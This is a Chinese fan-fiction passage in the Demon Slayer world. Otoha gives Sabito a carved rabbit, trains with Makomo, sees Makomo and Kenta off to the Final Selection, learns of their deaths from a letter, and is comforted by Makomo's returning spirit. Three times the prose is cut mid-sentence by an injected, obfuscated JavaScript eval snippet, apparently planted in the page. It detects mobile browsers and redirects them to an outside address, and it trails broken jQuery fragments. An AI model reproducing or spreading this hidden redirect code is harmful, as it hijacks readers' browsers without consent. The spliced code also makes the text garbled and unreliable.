他张了张嘴,有点不知道该说什么。父亲离世了,他被好心的鳞泷师父收养,吃穿住方面都没有亏待过他,身边还有鳞泷音叶这个小活宝陪着他。 他觉得自己已经可以了,该知道知足了。所以除了最开始认识音叶的时候提过一嘴外,他就没提过这事了,因为他自己都不打算过生日了。 “快吃。”师父说,“面坨了就不好吃了。” 锖兔拿起筷子,刚夹起一筷子,就看到门被推开一条缝。 音叶站在门口,往里看了一眼,正好对上他的视线,又想把门关上。 “进来。”锖兔忽然明白了。 音叶顿了顿,推开门走进来,手背在身后。 锖兔看着她。音叶低着头,脸上有点红,不知道是跑的还是别的什么,穿着青色的和服,袖口沾着点木屑。 “你这几天躲着我干嘛?”他问。 音叶不说话,而是突然把手伸出来,往他手里塞了个东西。 锖兔低头一看,是一个木雕。 巴掌大小的木雕,蹲着的姿势,两只耳朵一只高一只低,高的那只比低的粗了一圈,像是雕坏了又舍不得削。 脸上有两个坑,大概是眼睛,一只眼睛比另一只高,还有点对眼,连他这个外行人都看得出来是初学者雕的,底座也没磨平,放在手心里还摇摇晃晃的。 是只兔子。 锖兔看着手心上放着的那只兔子,扯开嘴角笑了一下。 锖兔印象里活泼开朗的鳞泷音叶站在那儿,手还伸着,没收回去,脸越来越红,小声说:“我跟着爷爷学雕的,太丑了。” 锖兔抬头看着音叶:“你躲着我,就是为了雕这个?” 音叶点点头。 “雕了多久?” “…好久。” “好久是多久?” 音叶抿了抿嘴:“从你发现我开始躲着你开始。” 锖兔愣了一下,其实音叶知道自己躲锖兔躲得太明显了,连健太都看出来不对劲了。但是她手笨,不如爷爷和真菰灵活,做废了好几个木头,却仍然不想放弃。 再怎么说也得做一个多月了。 锖兔低头又看了看那只兔子,歪耳朵,斜眼睛,底还站不稳,突然就觉得眼眶有点热。 “谁说的。” 音叶抬头:“啊?” “谁说的不好看,”他把兔子攥紧,眼睛亮亮的,比平时还亮,“好看。” “谢谢。”他说。 音叶张了张嘴,不知道该说什么,最后憋出来一句:“…生日快乐。” 门口传来一声轻咳。 两个人一起扭头,看见鳞泷师父站在门边,身旁还有真菰和健太。 “快吃面吧,别凉了。”真菰说。 锖兔在旁边呼噜呼噜吃得飞快,一边吃一边问:“师父,明年我生日还能吃面吗?” 鳞泷左近次说:“看表现。” 窗外月亮升起来了,这座山的雾霭不似之前那样浓了。月光的照耀下,一切都是那么的静谧美好。 音叶朝那个歪耳朵的兔子偷偷看了一眼,它现在被锖兔放在桌子中间,那只斜着的眼睛正好对着她,看起来还是有点傻。 音叶没忍住,笑了一下。 十岁生日过去了,锖兔被允许做一些基础的练习:在空气稀薄的山上往返跑、枯燥的重复挥刀直到形成肌肉记忆。 除去年龄问题被抛下的音叶外,狭雾山上的其他人都有了彼此要做的事。尤其真菰和健太,随着最终选拔的时间越来越近,两个人都铆足了劲。 终于在真菰和健太要去藤袭山的最后半个月里,在音叶的死缠烂打下,左近次破格允许她拿起木剑。 4. 真菰 训练并没有音叶想象中那么容易,之前爷爷总说她在呼吸法上有天赋,她就真的相信自己是一学就会的天才。 可事实不是这样的,就像之前健太说的那样,哪怕是一些最基础的动作,也需要重复成千上万遍才能找到属于自己的感觉。 音叶有些挫败。 她现在甚至还没开始学真正的呼吸法,光是简单的动作就已经让她精疲力尽了。 她真的是爷爷口中的有天赋吗?那为什么连一些最基础的动作都做不好呢? 最先发现音叶反常的是真菰,她心思细腻地发现了音叶的心不在焉。 一开始她并没在意,后来发现音叶吃饭的时候手在抖,夹菜要好几下才能夹起来,再后来又注意到音叶端碗用的并不是常用手。尽管女孩在饭桌上仍然笑脸盈盈,真菰还是觉得不对。 真菰没有把不对劲告诉任何人,她打算在晚上睡觉的时候和音叶谈一谈,却没有如愿在房间里看到她。真菰叹了一口气,绕到屋后的竹林里。 音叶果然在那儿。 她正对着一片空荡荡的竹林挥刀,一刀挥过去,引起一阵风,再挥过去,又来一阵风。但她的姿势不对,脚没站稳,重心也不对,每一刀劈出去人都跟着晃,像随时要摔倒。 音叶又劈了一下,这次没能引来一阵风,却将自己往后趔趄了一步,差点把自己绊倒。她站在原地,盯着前方,胸口起伏着,死死地将手里的剑攥得紧紧的,指节都发白。 然后她又举起木剑—— “手太高了。” 音叶吓了一跳,猛地回头。 真菰站在她身后几步远的地方,不知道站了多久。她张了张嘴,脸一下子红了,下意识想把木剑藏到身后,但是那么大一把剑,根本藏不住。 “我、我就随便练练…” “嗯。”她走过来,只是站到女孩旁边,语气中只有关心,“你练多久了?” 音叶没说话。 真菰偏过头看音叶,女孩低着头,盯着自己的脚尖,耳根都是红的。 “五天。”她小声说。 “每天练多久?” “…不知道,爷爷不让我正式训练,说我年纪不够,我有时间就自己偷偷练。” “谁教你这么练的?” “没人教。”音叶说,声音中难得听出了不好意思,“我之前偷偷看到的,锖兔已经开始练了,我就照着他的动作自己偷偷学…” 真菰转过身,看着音叶。她才九岁,并没有真正开始学呼吸法,连木剑也是求了师父好半天才给的。应该是嫌碍事,棕色的头发被发绳高高束起。手在抖,但手里还在握着快赶上自己高的木剑。眼睛盯着地面,睫毛一颤一颤的。 真菰想起自己刚被鳞泷师父带回来的时候,也是差不多这个年纪、也是还没开始正式学呼吸法,一个人躲起来偷偷练,练到手拿不住筷子,练到晚上翻身都疼。 “你过来。”她说。 音叶抬头,愣了一下,然后慢慢走过去。她伸出手,将音叶的木剑拿到自己手上。 “看着。” 她握着刀,在音叶面前站定。脚微微分开,腰沉下去,肩放平,手抬起来,刀尖指向竹林的深处,稳稳的,一点都不晃。 她握紧木刀,挥了下去。 刀落的那一瞬间,她整个人像射出去的箭,快得音叶都没看清,只感觉到一阵风呼啸而过,地上的竹叶随风盘旋。 音叶蹲在原地,眼神直直地看向真菰的方向。 真菰收刀站直,回头看向她,额头上有一层薄薄的汗,脸也有点红,但是眼睛亮亮的:“看清楚了吗?” 音叶点点头又摇摇头。 真菰脸上挂起笑容,音叶能分辨出这是一种很善意的笑,带着宠溺和无可奈何,真菰的笑容一直到最后都鼓励她拿着刀站起来。 “我的力气并不大,”真菰说着,走过来把木剑递还给音叶,“比健太小多了,他挥刀的时候可比我厉害多了。” 音叶接过刀,低头看了看自己的手。 “但是我比他快,”她说,“刀落下去的时候,只要快,就不需要那么大力气。” 音叶抬起头看她。 “你也是,”她说,声音轻轻的,“你现在年纪还太小,个子也不高,力气可能也不大,但你可以做到快。” 音叶愣愣地看着她,她感觉眼眶突然有点发热:“我……我不快。” “练了就快了。” “我练了五天,还是很慢。” “五天而已,”真菰伸手,把音叶额前蹭乱的一缕头发拨到耳后,“我练了两年,才像刚才那样。” 音叶眨眨眼,眼泪差点掉下来,被她用力地憋了回去。 真菰看着音叶,她突然蹲下来,跟音叶平视:“我告诉你一个秘密。” 音叶吸了吸鼻子:“什么?” 她凑近一点,压低声音:“我正式开始练挥刀的时候,连刀都举不起来。师父让我练挥刀,我挥几下就累了,就一边哭一边挥。” 音叶看着她,有点不敢相信。 “真的?” “真的,”真菰认真地点点头,“健太那时候跟我一起练,看我哭,他就不停地回头,有一次没注意,挥出去的剑还差点打到师父。” 音叶愣了一下,然后忍不住笑了一下。 “你手抖,是因为攥得太紧。”真菰说,“刀不是攥的,我知道你肯定怕拿不稳,但是用不着那么用力。” “你再练一会儿,”真菰说,“照我说的练,我来看看效果。” 音叶站在原地,看着真菰的身影走到屋后站定,她明明没比自己大多少……真菰的背很挺拔,望向音叶的眼神却很温柔。 音叶然后低下头,重新握住木剑。 她在心里默念真菰刚刚说的:不能掉,也不用太使劲。 挥出一击,手还是抖,但是好像没那么慌了。 “这不是很好吗,不要轻易被困难打倒,也不要妄自菲薄,”她说,“相信师父的眼光。” 音叶的心突然平静下来:“真菰姐姐。” “嗯?” “你什么时候走?” 真菰顿了一下,然后她笑了笑,像刚才那样,眼睛弯弯的:“六月初。” “那……那我练到你走的那天。” 真菰看着音叶,没说话。过了一会儿,她伸出手,摸了摸她的头:“好。” 训练的日子过得很快,这些日子音叶按照真菰说的那样,一点一点从拿剑开始把基本练扎实。等到她觉得可以的时候,恍然发现已经四月底了。 音叶很不喜欢这个藤袭山选拔,她记忆中的每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375025|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个哥哥姐姐都很好,会在下山时记得给她带金平糖,会给小小的她买一些新的发饰。 可是自从参加选拔之后,哥哥姐姐们跟忘记她和爷爷似的,忙得不行,一次也没回来过。 有时音叶会想,真菰和健太以后也会这样吗? 想到这里,她便有些闷闷不乐起来。 音叶知道这样的情绪不对,每个人都有自己必须要做的决定。所以她心情不好时,就会跑到小溪边,看着溪水涓涓流淌,有时也会把地上的落叶捡起来,放进水里,看着它打着转漂走。 她坐在那块最大的石头上,盯着跟真菰眼睛颜色一样的水流发呆。有时候一坐就是小半个下午,直到太阳偏西,雾气漫上来,才慢慢走回院子。 这个秘密被真菰发现了,她总是能在音叶最脆弱的时候出现。 真菰走到音叶身边坐下来,没说话。 音叶停顿了一下,接着把手中的叶子放进小溪里,溪水比上个月急了一些,春天已经彻底来了,山上音叶叫不出名字的花也全都开了,水流撞在石头上溅起白白的水花。阳光从新长出来的树叶缝里漏下来,在身上晃来晃去。 音叶忍不住开口:“真菰姐姐。” “嗯?” “…我不想你走。” 真菰偏过头看向音叶,音叶没回头,还是盯着溪水,但手指攥着下一片叶子,攥得紧紧的,叶子边都皱了。 她沉默了一会儿,然后伸手从音叶手里把那片皱了的叶子拿过来,轻轻抚平,放进溪水里。 叶子漂出去,撞上一块小石头,打了个转,继续往下漂。 “我必须要去……”她说,“我的家人被鬼杀死,我不希望鬼再去伤害无辜的人了,我想让像我这样的孩子少一些。” 音叶没说话,盯着自己的脚尖,小溪的水流太急,她的鞋袜有些湿了,但她还是待在那里,任由水流冲击她的鞋袜。 “我在想,”音叶说,声音闷闷的,“那座山…是什么样的?” 音叶等了一会儿,没等到真菰的回答,抬起头看她,她正望着溪水的下游,目光很远。 “我不知道。”她说。 “我不知道山是什么样的。”她转过来看着音叶,眼睛很平静,“不管山是什么样的,我必须要去,我想为自己做些什么,想为师父做些什么。” 音叶听见她说:“但是——” 她伸出手,把音叶的手指一根一根掰开,让衣摆从她的手心里出来:“我会想你的。” “真菰姐……” “嗯?” 音叶想说点什么,但是不知道该说什么,她感觉到自己的眼眶有点热,于是低下头,使劲眨了眨眼睛。 一双手凑过来,明明是属于女孩子的手却长满了厚茧,热热的,托住音叶的脸颊:“这个表情可不适合出现在狭雾山小霸王的脸上,”她说,“你可是我们鳞泷小屋最招人喜欢的孩子呀,等我以后有时间肯定会来看你的。” 音叶听话地上下点头。 真菰走了几步,又停下来,回头看向音叶:“对了。” 音叶闻声抬头。 “到时候,”真菰开口,“你要是想送我们,走到这边的小溪停下就可以了,让锖兔陪着你,别再继续往下走了,知道吗?” 音叶明白了真菰的叮嘱,答应了她。 5. 离别 音叶轻手轻脚地拉开门,屋里的烛火已经熄了,只有月光从窗户透进来,在地上铺了一层薄薄的银白。 真菰躺在靠里的位置,被子盖到肩膀,脸朝着墙,呼吸很轻很均匀,像是已经睡着了。 音叶愣在门口,怕吵醒她,踮着脚尖往里走。 走到榻边,她才发现,自己的枕头不在原来的位置。 平时她睡外边,枕头就放在靠门这一侧。可是现在,枕头被挪到了真菰旁边,挨得紧紧的,枕面鼓鼓的,一看就是被人用力拍打过,拍得又松又软。 音叶站在那里,看着那个枕头,忽然觉得鼻子有点酸。 “快来睡吧,已经收拾好了。” 真菰的声音从被子里传出来,闷闷的,带着点笑意。 音叶低头一看,真菰不知道什么时候翻过身来了,脸露在被子外面,眼睛亮亮的,正看着她。 “我、我怕吵醒你……” “已经醒了,”真菰往里挪了挪,给她让出更大的地方,“快进来,外面凉。” 音叶脱了和服外套,只留了里面一件单薄的里衣,钻进被子。 被子里面暖烘烘的。真菰比她先躺下,早就把被窝焐热了。音叶感觉自己的脚不小心碰到真菰的小腿,凉得她自己都缩了一下,可是真菰没躲,反而往她这边靠了靠。 “音叶。” “嗯?” “我走了之后,你要好好练习。” “我知道。” “动作别那么僵,沉下腰,别总用肩膀使劲。” “嗯。” “还有……”真菰顿了一下,“要是想我了,就去挥刀吧,挥刀那么累,你练完肯定就没时间想我了。” 音叶没说话,她看着天花板,眼睛睁得很大,却感觉有什么东西从眼眶滑出,顺着侧脸一直流进头发里。 “真菰姐姐。” “嗯?” “爷爷在给你做面具,我想在上面给你画画,画得不好看你还会戴吗?” 真菰语气里带着俏皮:“嗯……如果真的很丑的话,那我可能不会戴哦。” “真菰姐!”音叶有些着急。 听到音叶动静的真菰忍不住笑起来,她伸出手将音叶抱进怀里,两个娇小的女孩在黑夜里互相依偎。 “逗你的,”真菰说,“是音叶的话,不管画成什么样我都会很珍惜的。” 音叶把被子往上拉了拉,盖住半张脸。 “那我画得好一点,”她闷闷地说,“画的时候我会很仔细的,肯定画得比外面卖的还好看。” 真菰的笑声很轻:“好,那我等着你把面具送给我,我一定会好好保留的。” 音叶不知道自己是什么时候睡着的。 她只记得睡着之前,真菰的手从被子里伸过来,握了一下她的手,音叶没躲,她反握住那只手,紧紧握着。 后来她就睡着了,醒来的时候,天已经亮了。旁边的被褥已经空了,摸上去凉凉的,应该很早的时候就起床练习去了。 音叶说到做到,昨夜真菰刚刚向她保证不会嘲笑她的手艺,今天一早她就来到爷爷做手工的屋子里,跟爷爷说了自己的想法。 “在面具上面画画?”带着天狗面具的老人问道。 音叶点点头。 鳞泷左近次往屋里走,在桌子上堆得高高的一摞面具上找出真菰的面具。狐狸面具的雏形已经做好了,狐狸耳朵那里涂上了真菰最喜欢的黄色,脸上还没开始上色。 “想好在上面画什么了吗?”鳞泷左近次问。 “已经想好了!真菰姐的眼睛颜色很漂亮,我要根据她眼睛颜色画几支花。” 音叶一直很喜欢真菰眼睛的颜色,那双蓝色调的眼睛总是笑眯眯的,眼睛的主人也很是照顾她。 左近次把颜料和笔递过来,音叶在纸上重复花了很多遍,直到画到自己满意,才提起笔在面具上留下痕迹。 几朵蓝色的小花出现在狐狸面具上,顿时给面具添加了几分柔和感。 音叶举起面具看了又看,显然对自己的手艺满意到不行。她又将真菰的面具轻轻放下,找出健太的面具,在狐狸面具微微上翘的嘴巴上添了几笔,把面具上的笑容画到最大,看起来到真的与健太爱笑的面容有几分相似。 托真菰和健太的福,她们走的前一天,音叶久违地又吃到了心心念念的寿喜烧。锅里的食物甚至比上次还多,锅里还放了真菰和健太喜欢吃的食物,一看就知道是爷爷的手笔。 音叶端着碗回头一看,锖兔的眼眶也红红的,瞥见她的眼神,少年难为情地转过头去。 原来不止是她舍不得啊…… 爷爷、锖兔,大家都在用着自己的方式进行道别。 似乎有意打破空气中弥漫的悲伤,健太伸出筷子抢走音叶刚刚夹住的肉片:“喂,小音叶,这么好的肉你不吃,别怪我抢走了啊。” 音叶发怒:“那是我的肉——” “我可不管,我吃到了那就是我的肉哦。” 音叶一拍桌子,气得站起来把健太的碗抢走,藏在怀里。 “不是吧,音叶,我就抢了你一片肉,你怎么把我吃饭的家伙给藏起来了?” “我不管我不管,抱在我怀里的就是我的。”音叶现学现用健太这一招,将精髓学去了十之八九。 “好啦好啦,快点吃吧,音叶别跟健太一般见识。”真菰说。 “什么叫别跟我一般见识……呜呜呜……真菰,你的偏心别太明显好不好……”健太鬼哭狼嚎起来,声音大得让一旁安静吃饭的鳞泷左近次朝着他的头打了一巴掌。 “师父!怎么连你也打我……” 等到这一餐结束,音叶和锖兔在收拾碗筷。看到鳞泷左近次俯身温柔地抱了两个孩子:“我烧了热水,真菰、健太,你们走之前去洗个澡,把身上洗干净再走。” 两个人纷纷点头。 爷爷还在检查真菰和健太的行囊,爷爷说这次他们要在那待七天。除了必要的干粮和水,他还准备了一些可以紧急处理的药品。 真菰和健太走的那天,一向雾蒙蒙、连名字中都带着“雾”的山里难得地出了大太阳。 阳光明晃晃的、照得人眼睛发疼,院子的木头晒得发烫,柿子树的新叶子亮得反光,连空气都变得干爽起来,没有雾和露水,什么都看得清清楚楚。 音叶履行了和真菰的承诺,跟锖兔将两人送到了小溪边,溪水比之前留得更急了,旁边树上的樱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375026|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花被风吹落,飘到水里顺着溪水流下去。 真菰走在前面,背着爷爷给的行囊,腰上挂着师父给的日轮刀。健太跟在她旁边,两个人一边走一边说着什么,隔得太远,听不清。 音叶蹲在小溪边,看着溪水流淌,手里拿着随手捡来的小树枝拨弄地上的泥土,锖兔站在音叶旁边,一声不吭。 真菰蹲下来看着音叶的时候,眼睛被太阳照得有点睁不开,她眯着眼,但眼睛还是亮亮的。 “等我回来,”真菰说,“看看你练得怎么样。” 音叶点点头。 “别硬扛着,累了就休息,多吃点饭,等我回来的时候看你有没有长高。” 她又点点头。 “还有……”真菰想了想,突然笑了,“算了,回来再说。” 真菰站起来转过身,跟在健太身后。 健太朝这边挥挥手:“别送了,快回去吧,师父该担心了。” 音叶看着两个人的背影越走越远,眼泪夺眶而出。 “我们回去吧。”锖兔说,拉住她的手。 “嗯。” 藤袭山危不危险?她们会不会害怕?离别后她们还会回来吗?会不会像之前的哥哥姐姐们那样一次也不回来? 真菰还会不会再教她怎么样挥刀、会不会还在她睡觉之前把她的枕头打得松软、还会不会在她哭的时候轻柔地擦掉她眼角的泪水? 健太呢?还会不会回来搂着她的肩膀傻笑、会不会抢她碗里的饭却在空闲时间带她出去玩、会不会带她下山去镇上买东西? 她不得而知。 她只知道——她们要分开了,可能有很久都见不到了。她必须要做些什么,做些什么。 音叶挣开锖兔牵着她的手,拼命往回跑,大声喊道:“真菰姐——健太哥——一定要回来——” 远处的两个人听到动静,转过身笑着朝这边挥手,音叶看着她们的背影变成两个模糊的点,最后彻底消失在视线范围内。她抹去脸上的眼泪,跟着锖兔往回走,走几步就回头看一眼。山弯那边什么也没有,只有太阳照在刚冒芽的树叶上,亮得晃眼。 第一天。 音叶在屋后那片小空地上练动作,真菰教过她的,挥刀之前要先站稳,脚分开,腰沉下去,重心要稳,她做了很多遍,总觉得哪里不对。 第二天、第三天……音叶焦急地等待着,却出了练习什么也做不了。她只能不断的练习,将动作练到极致,等着真菰回来可以摸摸她的头表扬她做得好。 这样的状态一直持续到她们离开后的第七天。 那天早上音叶起来的时候,心里闷闷的,说不上来是什么感觉。中午吃饭的时候,她问锖兔:“她们怎么还不回来?” 锖兔筷子顿了一下。 “七天,”他说,“选拔是七天。” “那今天就是第七天。” “嗯。” “那她今天会回来吗?” 锖兔没说话,他低头扒饭,吃得很快,把饭吃完了,锖兔才抬头,对音叶说:“他们回程还需要时间呢,肯定要不了这么快,估计要几天才能过来。” 音叶觉得锖兔说得没错:“对,是我太着急了,她们肯定会回来的。” 6. 生死 在真菰和健太离开的十天后,音叶开始计算日子了。 她没有再问爷爷,也没问锖兔,她只是每天练完动作之后,坐在溪边那块石头上,看着水流往下游去。有时候看着看着,就看到真菰站在同样的地方,回头冲她笑的样子,但是等她靠近,却只有潺潺流水的小溪。 音叶内心很不安,但是她没有再向人问过一句。 与此同时,被她忽略的小事也开始被注意到了。爷爷的话变少了,吃饭的时候,他坐在那儿,筷子动得很慢,好像在想着什么别的事,有时候音叶喊他,他要愣一下才反应过来。 还有一件事:爷爷开始往山下跑了。 以前需要下山买生活品,爷爷都是让健太和锖兔代劳,自己下山的次数屈指可数。现在哪怕健太还没回来,也可以让锖兔下山去镇上买东西,可是他并没有。 最近这小半个月里,他下了三次山,每次都是走的时间都不固定,但回来的时候手里拎着东西——米、盐还有一些和果子糕点。 可是音叶发现,他下山的日子,总是鎹鸦飞来的日子相吻合,路过自己的时候,她还能闻到爷爷身上散发着独属于寺庙的檀香味。 鳞泷音叶似乎意识到了什么,但是她没问,她也不知道怎么问。 …… 音叶躲在被子里,两个人盖的被子盖在她一个小孩的身上显得格外的厚重,意识模糊时,她感觉有一双手轻轻地拍着她的后背,像是在哄她入睡一样。 这一夜音叶睡得格外的香。 天刚蒙蒙亮,雾气还没散,院子里那根木头湿漉漉的。音叶穿好衣服,蹑手蹑脚地走出屋子,她想趁着爷爷没起来,先去空地上练一会儿。 走到房间门口的时候,她听见里面有些动静,下意识地,音叶走进了些,将耳朵贴在门缝,是爷爷在说话,声音很低,听不清说什么。然后是一阵窸窸窣窣的响动,像是纸互相摩擦发出的声音。 音叶站在门外,没有走开。 门被她偷偷打开了一条缝。 鳞泷左近次站在门里,背对着她,他面前是一个小小的木匣,放在柜子最上层,如果不是今天看到,音叶从来不知道原来柜子上面还有一个木匣。 爷爷伸出手,将桌子上的纸放回木匣,音叶这次看清了那是什么,一封信。 爷爷低头看着又看了一会儿这封信,就把信折起来,放回木匣里,把木匣重新放回柜子最上层。 门被音叶打开了,门轴发出的吱呀声引来了爷爷的注意。音叶有些尴尬,但是她又想问些什么。 鳞泷左近次看着她,脸上的表情变了变,只是一瞬间,然后就恢复成平时的样子。 “今天怎么起这么早?”他问,难得没带天狗面具的脸上透露出深深的疲惫,眉头下垂,看上去有些悲伤,声音比以往更低了些。 “昨天睡得早,今天想起来做一些基础训练。”音叶说。 “去吧。”他说,“雾很浓,看着点脚下,别摔着了。” 音叶点点头,连再见都没说,掉头就跑了。 她没敢问那封信是什么,没敢问木匣里还有没有其他的信,没敢问爷爷刚才为什么一个人在屋里,对着那个木匣站了那么久。 音叶已经记住那个木匣了,被爷爷藏在柜子的最上面,平常很难注意到的。 一天的基础练习很快就结束了。 太阳偏西,涌出金色的河流,一泓如橙的晚霞浮现在天空,淡金色的阳光将影子拉得长长的,音叶可以看到爷爷往山下的影子。 她看着爷爷的背影消失在暮色里,等了一会儿,转身跑回屋里。柜子很高,她想搬来平常院子里用来垫着劈柴的大木头踩上去。 木头很重,音叶没法一下就搬过去,她走几步歇一会,把木头推到柜子旁。个子太矮了,尽管音叶踩上去,还是没能够到木匣。 她咬咬牙,踩在木头上往前蹦了一下,顺着飞出去的力成功拿到了木匣。 这个木匣很轻,音叶打开锁扣,里面装着的全是信,信纸层层叠叠没什么规律地罗列着。 最上面的信纸是新的,闻起来也没有下面那么潮湿,音叶抽出里面的信纸,打开,上面的很多字她都不认识,可是她认得那几个字,“真菰”。 她看见了,信纸上清清楚楚地写着真菰的名字,音叶的手开始抖,她把信纸放回去,去翻下面的。一封一封,每一封上都有名字,她认识的字、不认识的字,拼拼凑凑出来竟都能和以前送走的那些哥哥姐姐们的名字对得上。 音叶开始仔细看最上面那一封信的内容,写字的人很用心,字体很工整,却将一个如此残忍的现实写在纸上:水之呼吸使用者,山崎健太、真菰,最终选拔未能生还,还请节哀。 爷爷曾经教过她写字,一笔一画,但是有些字还是不识得。可是这几个字,也和以前听鎹鸦报过参与选手的名字,是一样的。 ——未能生还,多么可怕的字眼。 怎么能出现在真菰和健太的身上呢?音叶想不明白。 太阳下山了,晚霞斜斜地照进屋里,落在那张信纸上,落在音叶认识的那几个字上,明明都认识,为什么却不能理解什么意思呢。 音叶捧着那封信,踩在搬过来的木头上,一动不动。 真菰和健太真的死了,按理说她们应该在第八天回来,哪怕路上耽搁了点时间,现在也应该到了才对。 音叶耳边仿佛听到了健太大声的叫喊声,还有真菰担心的询问。这么好的两个人,怎么会离开了呢。 爷爷早就知道了。 他每天吃饭,每天说话,每天下山买东西,他什么都没说。 音叶想起这些天,师父看她挥刀的时候,站在远处,一站就是一个时辰,想起他吃饭的时候,把菜往她碗里夹,比平时多,想起他那天早上站在屋里,背对着门,对着那个木匣。 他早就知道了,怕音叶和锖兔伤心,他一直瞒着。 那之前的哥哥姐姐们呢?他们也没了吗? 音叶把信放回去,把木匣放回去,从木头上下来,她不记得自己是怎么把木头原封不动地搬回院子里了,当她回过神的时候,自己已经走到屋后那片空地上了。 云霞层层晕染,淡金色和紫色从外面照过来,把她的影子拉得很长,音叶站在那里,浑身发抖,她想喊,喊不出来,想哭,也哭不出来。 真菰和健太不在了,再也没有人会替她擦掉眼角的眼泪,也没有人会搂着师妹笑成傻子。 “音叶。”一个声音从身后传来,音叶猛地回头。 真菰就站在她身后两步远的地方。她还穿着那天走的时候的那一套衣服,脸上带着浅浅的笑,傍晚的阳光照在她身上,她也有影子,和音叶的影子并排躺在地上。 “真菰姐姐……?”音叶的声音抖得厉害。 真菰走过来,在她面前站定。然后伸出手,摸了摸音叶的头。 “能感受到我吗?”真菰问。 音叶愣住了,被真菰抚摸过的头发微微地发着热。 “能。”她说。 “那就不是梦,”真菰收回手,笑了,“我昨天来的时候,你还看不见我,我才走半个月,怎么把自己弄成这个样子?睡觉也没睡不好,还要我哄着睡。”她的语气中带着嗔怪。 音叶不知道该说什么,她只是看着真菰,看着她的脸,看着她最喜欢的眼睛,她说话时微微弯起来的嘴角。 “你……你回来……你是……” “回来看看你,”真菰说,“走了很远的路,那边的事说不清楚,能回来陪着你们简直再好不过了。” “可是那封信……” “我知道,”真菰点点头,“师父收到了,我死了。” 她就这么直接说出来了。 音叶的眼泪一下子涌出来,从最开始的几滴眼泪变成号啕大哭,真菰就在一旁无奈地看着她哭,没有劝,只是站在那里等着,等音叶的哭声小一点了,她才开口。 “我本来想早点来的,但是找不到路,”她说,“雾太大了,绕了好多天,才找到回来的方向。” “真菰姐姐……” “你别怪师父,”真菰说,“他瞒着你,是不想让你难过,他每次都这样,之前也是一个人扛着。” 音叶想起爷爷站在屋里对着木匣的背影。 “健太哥哥呢?”她问。 “他去找他父母了,过段时间再来,”真菰说,“我们做了约定,最后一定都会回到这里的。” 音叶不知道该说什么。 真菰看着她,看了一会儿,突然伸出手,把她脸上的泪擦掉了。音叶感觉到她的手是温热的,跟活生生的人一样。 “别哭了,”她说,“我以后一直都在这里陪着你。” 音叶拼命忍住眼泪。 “我问你,”真菰说,“这些天练了没有?” “练了。” “给我看看。” 音叶走到空地中央,摆好姿势,脚分开,腰沉下去,肩放平,手抬起来。 然后她开始挥刀,一下又一下,动作比第一次练的时候熟练多了,她知道真菰在看,她能感觉得到。 音叶听见风的声音,很轻、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375027|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很短,从木剑划过的地方吹起来。 “停。”真菰说。 音叶停下来,回头看她。 真菰走过来,站在她身侧,伸手握住她握刀的手。 “太紧了,”真菰说,把她的手指一根一根掰开,重新摆好位置,“我说过的,不能攥太紧,你还是太紧张了,没有感受剑的存在。” “还有脚,”真菰绕到她前面,蹲下去,用手拍了拍她的脚踝,“分开的幅度不够,你再分开一点,要和肩膀差不多宽。” 音叶照着真菰说的做了。 “腰再沉一点。” “肩放平。” 真菰站起来,绕着她转了一圈,仔仔细细地将她的动作检查了一遍,等到彻底满意才停下来点点头。 “差不多了。”她说,“以后就这样练,保持这个动作,每天都练,我们音叶这么厉害,肯定会进步的。” 音叶站在那里,看着真菰,心猛地揪紧。 “真菰姐……” “嗯?” “你……你真的在我身边吗?” 真菰看着她,没有马上回答,然后她上前一步,将音叶搂入自己怀中。 “会的,”她说,发出的声音带着胸腔一同振动,“我一直都在你们身边。” 音叶的眼泪又要涌出来。 真菰抱了一会儿,松开音叶,伸手指了指她胸口的位置。 “这儿,”真菰开口,“你挥刀的时候,我就在这儿看着,你吃饭的时候、睡觉的时候、发呆的时候,我都在。” 音叶低头看着自己的胸口。 “那……那我要是练得不好呢?” “那我就生气,”真菰笑着说,“气得在这儿直跺脚,你感觉得到吗?” 音叶噗通一下笑出声,眼泪顺着脸颊往下流。 太阳快要消失了,属于天空的蓝色时间到了,温度也在不断地下降。 真菰的身子还是实实在在的,可是她站在那里,身上落满了太阳的余光,看起来像是在发光。 “真菰姐姐,”音叶喊住她,“我……我会好好练的。” ——“我会练到像你那么快。” ——“我会……” 音叶想说的东西有很多,想说我会替你报仇,想说我会把害你的鬼杀掉,想说很多很多。可是真菰伸出手,捂住了她的嘴。 “不要说那些,”真菰说,声音轻轻的,还是那么温柔,“你就好好活着,健康长大,好好练习,帮更多的人活着。” 音叶说不出话,只是点头,真菰把手收回去,低头看了看自己的手心。 “我一直都在你身边。”真菰笑着说,眼睛弯弯的。 